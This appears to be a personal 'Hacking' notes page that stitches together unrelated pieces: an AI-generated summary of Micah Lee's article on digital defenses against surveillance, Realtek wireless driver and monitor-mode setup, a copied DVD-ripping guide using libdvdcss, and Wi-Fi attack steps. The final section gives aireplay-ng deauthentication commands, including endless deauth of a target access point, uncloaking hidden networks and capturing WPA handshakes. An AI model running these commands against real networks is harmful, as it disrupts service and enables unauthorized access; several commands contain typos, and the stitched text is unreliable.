Hacking

Practical Defenses Against Technofascism - Micah Lee

Note: The below TL;DR was created by Copilot

TL;DR: Micah Lee warns of rising technofascism in the U.S., especially under Trump, and offers practical digital security strategies to resist surveillance and repression. Key defenses include using Lockdown Mode, enabling encrypted backups, powering off devices during risky moments, and minimizing retained data.

Here’s a breakdown of the article’s core points:

🛡️ What Is Technofascism?

• Technofascism is described as fascism empowered by modern technology.
• The Trump administration is accused of turning imperialist tactics inward, targeting Americans with surveillance and repression.
• Major tech companies and billionaires are criticized for enabling or supporting these efforts.

🔍 Threats to Watch For

• Mercenary spyware like Pegasus and Graphite is increasingly used by U.S. agencies like ICE to target journalists, activists, and immigrants.
• Device searches are becoming more common, with tools like Cellebrite used to extract data from phones.
• Cell-site simulators (IMSI catchers) are deployed to intercept mobile communications.

🧰 Practical Defenses

• Always install software updates to patch vulnerabilities exploited by spyware.
• Enable Lockdown Mode on iPhones and Macs to reduce attack surfaces.
• Use Advanced Data Protection for iCloud and Android’s Advanced Protection to encrypt backups.
• Power off devices when not in use or before risky encounters (e.g., protests, border crossings).
• Use strong passcodes and disable biometric unlocking to prevent forced access.
• Minimize data retention—use disappearing messages and delete sensitive content.
• Consider secondary devices for travel or activism, and reset them between uses.

🧠 Cultural Shift

• Lee emphasizes building a collective security culture—not just individual precautions.
• Encourages communities to share practices and support each other in resisting digital authoritarianism.

First locate device using the follow:

lsusb

Output:

Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 002: ID 80ee:0021 VirtualBox USB Tablet
Bus 001 Device 004: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter

We'll be dealing with the Realtek device. 

Ensure your system is update to date with the following commands:

sudo apt-get update
sudo apt-upgrade -y
sudo apt dist-upgrade -y

Install the Alpha's drivers:

sudo apt-get install realtek-rtl88xxau-dkms
sudo apt-get install dkms
git clone https://github.com/aircrack-ng/rtl8812au
cd rtl8812au
make
sudo make install

Note: If you get an error during make you may need to install the linux headers:

sudo apt install linux-headers-amd64

Reboot  and ensure device is installed.

Put the device in monitor mode:

sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

The following was copied from the this website: maketecheasier

Install VLC.

Then install Handbrake.

Ubuntu does have Handbrake in its repositories, but due to the legal grayness of libdvdcss, it’s not in the repositories. Instead, Ubuntu provides a script to build the package yourself. Don’t worry, it’s all automatic. Start by installing libdvd-pkg, the script package.

sudo apt install libdvd-pkg

A menu will pop up in the terminal asking if you want to continue. Agree to everything and keep going. When it’s done, you’ll need to reconfigure the package to build and install libdvdcss.

sudo dpkg-reconfigure libdvd-pkg

Rip a DVD

Open Handbarke.

Load the Source

Begin by selecting your source. This could be a source file, but in this case, it’s your DVD drive. You’ll see an “Open Source” button in the upper-left corner of the screen. Click it.

A new window will open for you to browse to your source. There are a couple shortcuts to your DVD drive. First, if you already have your DVD in the drive, it should appear with the DVD’s title on the left of the window. Click on it and select “VIDEO_TS” to open.

You can also use the “Detected DVD devices” drop-down at the bottom of the window. It’ll probably have your drive selected already, so you can just open it right from there. If not, you can usually find your drive under the drop-down. It’s usually a drive letter like “/dev/sr0.”

After you select it, your drive will spin and start reading your DVD. A progress bar will pop up at the top of the Handbrake window as it loads your DVD. When it’s done, you’ll see your DVD’s title listed as the source in the upper-left.

Select the Preset

Handbrake has presets with common aspect ratios, frame rates, and support for certain devices. You’ll find the preset list in the upper-right corner of the Handbrake window.

Scroll through and see what looks best for your use. If you’re just looking to make a copy of your DVD, you can select the “Fast 1080p30” preset as a good default. It will produce a quality 1080p copy of your DVD. If your DVD is an older standard definition DVD, Handbrake will use the native dimensions of the DVD and copy it as is.

Add Titles to the Queue

Turn your attention back to the upper-left corner of the screen. Take a look at the “Title” drop-down directly under the “Source” label with your DVD’s title.

DVDs are broken up into titles. These are the individual videos on the DVD, and most of them are just garbage from the menus. It’s up to you to pick out the titles that contain the actual content that you want. The easiest way to do so is with the duration of the title. If your DVD is a movie, you can find the title with the same run time as the full film. If you’re looking for the episodes of a TV show, find titles that last about as long as one. They should all be fairly uniform. When you have your title, select it.

Below the title drop-down, take a look under the “Destination” header. There you can name your file. Under that, you can choose the destination for your video. You can place it anywhere with enough free space.

After everything looks good, press the “Add To Queue” button in the menu across the top of your window. It’s right next to the “Open Source” one. If you’re doing TV episodes, repeat these steps for each episode, adding each one to the queue.

Rip!

Now that you have all of the titles that you want to back up in your queue, you can start ripping. If you’d like to double-check your queue, click the “Show Queue” button in the top menu. It’ll display all of your enqueued titles and the output file names.

Click “Start Encoding” in the top menu to start ripping your DVD. Handbrake will take a decent amount of time, depending on your CPU and DVD drive speeds, to work its way through your selected titles. When it’s done, it’ll show you a success message. At that point you’re free to eject your DVD and/or close Handbrake.

First identify the target AP's MAC address, then use the following command:

sudo aireplay-ng -0 0 -a <Target AP's MAC> <WLAN Name>

Note: -0 0 will execute deauth to infinity

Websploit is another tool that can be used, but you'll need to install it first.

Using the terminal execute the app as follows.

websploit

Available modules can be seen by executing the following.

show modules

First put WLAN in monitoring mode.

Using the following command, find an AP where its essid is <length:  0>:

airodump-nd <WLAN Name>

Now gather data from the zero length essid AP using the following command:

airodump-ng -c <AP_0 Channel> --bssid <AP_0 MAC> <WLAN Name>

Where: AP_0 = Zero Length AP.

Open up another terminal and disconnect one of the clients attached to the zero length AP:

aireplay-ng -0 3 -a <AP_0 MAC> -c <Client MAC> <WLAN Name>

Once disconnected notice the essid of the AP_0 display a name.

First get Target AP's client connections using the commands in this reference:

Capture Data from Target AP

Open a second terminal and disconnect a client from the AP by executing the following command. This will allow one to capture the handshake between the AP and client. Handshake will be in the generated pcap file.

aireplay-ng -0 3 -a <Target AP's bssid> -c <Target AP's Client's essid> <wlan name>

Note: the -0 3 is telling the command to execute three times, you can increase the three to a larger value to keep client from reconnecting.